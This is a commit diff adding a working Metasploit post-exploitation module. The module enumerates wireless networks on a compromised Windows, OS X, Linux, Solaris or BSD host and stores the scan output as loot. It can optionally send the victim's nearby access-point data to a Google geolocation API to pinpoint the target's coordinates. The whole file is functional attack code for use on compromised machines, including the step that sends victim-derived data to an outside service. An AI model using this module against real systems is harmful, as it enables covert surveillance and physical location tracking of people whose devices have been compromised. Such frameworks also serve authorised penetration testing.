Land rapid7#3280 - Multiplatform WLAN Enumeration and Geolocation

Author: wchen-r7

modules/post/multi/gather/wlan_geolocate.rb

@@ -0,0 +1,223 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+require 'json'
+require 'net/http'
+
+class Metasploit3 < Msf::Post
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'          => 'Multiplatform WLAN Enumeration and Geolocation',
+        'Description'   => %q{ Enumerate wireless networks visible to the target device.
+        Optionally geolocate the target by gathering local wireless networks and
+        performing a lookup against Google APIs.},
+        'License'       => MSF_LICENSE,
+        'Author'        => [ 'Tom Sellers <tom <at> fadedcode.net>'],
+        'Platform'      => %w{ osx win linux bsd solaris },
+        'SessionTypes'  => [ 'meterpreter', 'shell' ],
+      ))
+
+      register_options(
+        [
+        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
+        ], self.class)
+
+  end
+
+  def get_strength(quality)
+    # Convert the signal quality to signal strength (dbm) to be sent to
+    # Google.  Docs indicate this should subtract 100 instead of the 95 I
+    # am using here, but in practice 95 seems to be closer.
+    signal_str = quality.to_i / 2
+    signal_str = (signal_str - 95).round
+    return signal_str
+
+  end
+
+  def parse_wireless_win(listing)
+    wlan_list = ''
+    raw_networks = listing.split("\r\n\r\n")
+
+    raw_networks.each { |network|
+      details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
+        if !details.nil?
+          strength = get_strength(details[3])
+          network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}"
+          wlan_list << network_data
+        end
+    }
+
+    return wlan_list
+  end
+
+
+  def parse_wireless_linux(listing)
+    wlan_list = ''
+    raw_networks = listing.split("Cell ")
+
+    raw_networks.each { |network|
+      details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
+        if !details.nil?
+          network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}"
+          wlan_list << network_data
+        end
+    }
+
+    return wlan_list
+  end
+
+  def parse_wireless_osx(listing)
+    wlan_list = ''
+    raw_networks = listing.split("\n")
+
+    raw_networks.each { |network|
+      network = network.strip
+      details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
+        if !details.nil?
+          network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}"
+          wlan_list << network_data
+        end
+    }
+
+    return wlan_list
+  end
+
+  def perform_geolocation(wlan_list)
+
+    if wlan_list.blank?
+      print_error("Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.")
+      return
+    end
+
+    # Build and send the request to Google
+    url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
+    uri = URI.parse(URI.encode(url))
+    request = Net::HTTP::Get.new(uri.request_uri)
+    http = Net::HTTP::new(uri.host,uri.port)
+    http.use_ssl = true
+    response = http.request(request)
+
+    # Gather the required information from the response
+    if response && response.code == '200'
+      results = JSON.parse(response.body)
+      latitude =  results["location"]["lat"]
+      longitude = results["location"]["lng"]
+      accuracy = results["accuracy"]
+      print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
+      print_status("Google Maps URL:  https://maps.google.com/?q=#{latitude},#{longitude}")
+    else
+      print_error("Failure connecting to Google for location lookup.")
+    end
+
+  end
+
+
+  # Run Method for when run command is issued
+  def run
+    if session.type =~ /shell/
+      # Use the shell platform for selecting the command
+      platform = session.platform
+    else
+      # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
+      platform = session.sys.config.sysinfo['OS']
+    end
+
+
+    case platform
+    when /win/i
+
+      listing = cmd_exec('netsh wlan show networks mode=bssid')
+      if listing.nil?
+        print_error("Unable to generate wireless listing.")
+        return nil
+      else
+        store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
+        # The wireless output does not lend itself to displaying on screen for this platform.
+        print_status("Wireless list saved to loot.")
+        if datastore['GEOLOCATE']
+          wlan_list = parse_wireless_win(listing)
+          perform_geolocation(wlan_list)
+          return
+        end
+      end
+
+    when /osx/i
+
+      listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
+      if listing.nil?
+        print_error("Unable to generate wireless listing.")
+        return nil
+      else
+        store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
+        print_status("Target's wireless networks:\n\n#{listing}\n")
+        if datastore['GEOLOCATE']
+          wlan_list = parse_wireless_osx(listing)
+          perform_geolocation(wlan_list)
+          return
+        end
+      end
+
+    when /linux/i
+
+      listing = cmd_exec('iwlist scanning')
+      if listing.nil?
+        print_error("Unable to generate wireless listing.")
+        return nil
+      else
+        store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
+        # The wireless output does not lend itself to displaying on screen for this platform.
+        print_status("Wireless list saved to loot.")
+        if datastore['GEOLOCATE']
+          wlan_list = parse_wireless_linux(listing)
+          perform_geolocation(wlan_list)
+          return
+        end
+      end
+
+    when /solaris/i
+
+      listing = cmd_exec('dladm scan-wifi')
+      if listing.blank?
+        print_error("Unable to generate wireless listing.")
+        return nil
+      else
+        store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
+        print_status("Target's wireless networks:\n\n#{listing}\n")
+        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
+        return
+      end
+
+    when /bsd/i
+
+      interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
+      # Printing interface as this platform requires the interface to be specified
+      # it might not be detected correctly.
+      print_status("Found wireless interface: #{interface}")
+      listing = cmd_exec("ifconfig #{interface} scan")
+      if listing.blank?
+        print_error("Unable to generate wireless listing.")
+        return nil
+      else
+        store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
+        print_status("Target's wireless networks:\n\n#{listing}\n")
+        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
+        return
+      end
+
+    else
+      print_error("The target's platform, #{platform}, is not supported at this time.")
+      return nil
+    end
+
+    rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
+    rescue ::Exception => e
+      print_status("The following Error was encountered: #{e.class} #{e}")
+    end
+
+
+end